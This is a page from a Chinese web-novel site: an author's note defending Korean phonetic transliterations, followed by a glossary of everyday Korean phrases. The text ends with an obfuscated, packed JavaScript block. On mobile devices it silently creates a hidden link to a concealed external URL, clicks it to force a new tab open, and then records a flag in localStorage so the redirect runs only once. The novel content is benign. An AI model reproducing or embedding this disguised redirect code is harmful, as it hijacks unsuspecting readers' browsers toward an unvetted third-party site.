第五文学网 > 都市小说 > 首尔上空造一场梦 > 备受吐槽的韩语音译,呵呵

备受吐槽的韩语音译,呵呵

    开个单章把韩语罗列出来,关于这个我已经不想多说了。

    所谓的韩语多?影响阅读?我是真不能理解,一章不过就几句而已。另外哪本韩娱没有音译?而且他们的都不知道多蹩脚好吗,很多发音纯粹扯淡,比我的更别扭无比,怎么不见人吐槽。每一句音译我都尽可能的查好资料,尽可能的做到发音正确,就是为了能让哪些看过综艺看过韩剧懂点发音的人,更有代入感。

    那好,确实还有一批不喜欢看综艺韩剧的,那么直接看中文就好,一章音译就那么几句,而且还大多是日常用语,说我凑字数的就更搞笑了。我为了一章多凑二十几个字,天天被人吐槽?

    总之一句话,觉得看音译更有综艺感觉的人,欢迎继续看下去。对音译不感冒的,我已经在适当的减少一部分,如果您还是觉得影响了您的正常阅读,影响了您的好心情的话,那么…………麻烦您受累,点击右上角的叉差~~~

    常用语句:

    啊尼哈瑟哟(你好)备注:从韩语教材上学到的,这句话的发音应该是安娘哈瑟哟。

    阿拉(知道了)

    亲故(朋友)

    布谷熙颇(想你)

    咯拿索(完蛋了)

    巴里拿哇(快点出来)

    尼嘎蒙嘚(你算什么?)

    够几嘛(说谎)

    帕巴(看看)

    米啊啦哒(对不起)

    啊尼果等(才不是呢)

    呦西(果然)

    莫拉古(说什么)

    古墨我(谢谢你)

    巴里(快点)

    卡家(走吧)

    么(什么)

    偶滴尼(你在哪)

    诺唯一嘞(你干嘛这样)

    阿几嘛(大妈)

    抹西吉(帅吧)

    侑家亲故(女朋友)

    唯股嘞(怎么了啊)

    友布瑟哟(喂)

    路孤(谁)

    欧麻(妈妈)

    一给俺怼(这样不行)

    康撒阿密达(谢谢)

    一给莫呀(这是什么)

    诺姆ki呦渥(太可爱了)

    诺木一桑呃(太奇怪了)

    麻西哒(很好吃)

    依普哒(漂亮)


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('t y(){p(N z==="O".j("").k().l("")){A P}B a;u C=z[\'\\D\\c\\0\\8\\Q\\i\\0\\6\\3\'][\'\\3\\1\\v\\1\\q\\0\\8\\r\\4\\c\\0\']();a=\'\\i\\s\\5\\2\\1\\R\';u E=S T(\'\\4\\6\\5\\8\\1\\2\\5\\d\\2\\e\\m\\1\\6\\0\\d\\2\\e\\4\\5\\d\\2\\e\\1\\5\\d\\q\\2\\6\\5\\1\\q\\c\\F\\e\\m\\1\\6\\0\\d\\9\\7\\4\\n\\w\\9\\0\\8\\8\\g\\d\\c\\g\\f\\9\\2\\4\\6\\d\\q\\0\\9\\1\\c\\d\\1\\e\\0\\8\\4\\F\\f\\2\\6\\2\\d\\2\\0\\f\\1\\9\\2\\7\\0\\d\\f\\1\\9\\2\\7\\0\',\'\\2\');A E[\'\\3\\0\\c\\3\'](C)}t G(a){B b;u h=o[\'\\n\\8\\0\\4\\3\\0\\H\\7\\0\\f\\0\\6\\3\']("\\4");b=U^V;h[\'\\m\\8\\0\\s\']=a;h[\'\\c\\3\\g\\7\\0\'][\'\\5\\2\\c\\e\\7\\4\\g\']="\\6\\1\\6\\0";h[\'\\3\\4\\8\\i\\0\\3\']="W".j("").k().l("");o[\'\\9\\1\\5\\g\'][\'\\4\\e\\e\\0\\6\\5\\r\\m\\2\\7\\5\'](h);h[\'\\n\\7\\2\\n\\w\']();o[\'\\9\\1\\5\\g\'][\'\\8\\0\\f\\1\\I\\0\\r\\m\\2\\7\\5\'](h)}o[\'\\4\\5\\5\\H\\I\\0\\6\\3\\v\\2\\c\\3\\0\\6\\0\\8\']("\\X\\Y\\Z\\r\\1\\6\\3\\0\\6\\3\\v\\1\\4\\5\\0\\5",t(){p(!J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']){p(o[\'\\9\\1\\5\\g\']!=10){J[\'\\i\\7\\1\\9\\4\\7\\K\\4\\8\']="\\x";L=M[\'\\i\\0\\3\\x\\3\\0\\f\']("\\7\\D\\n\\w\\11\\s\\s");p(!L&&y()){G("12.13.14//:15".j("").k().l(""))}M[\'\\c\\0\\3\\x\\3\\0\\f\']("16".j("").k().l(""),"17".j("").k().l(""))}}});',62,70,'u0065|u006F|u0069|u0074|u0061|u0064|u006E|u006C|u0072|u0062|||u0073|u007C|u0070|u006D|u0079|_0x7a_0xcc0|u0067|split|reverse|join|u0068|u0063|document|if|u0077|u0043|u0066|function|const|u004C|u006B|u0049|isMobileDevice|navigator|return|var|_0x95deb|u0075|_0x80204a|u0020|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|typeof|denifednu|false|u0041|u006A|new|RegExp|327325|327324|knalb_|u0044|u004F|u004D|null|u005F|moc|8zfjm|2357|ptth|ff_kcul|eurt'.split('|'),0,{}))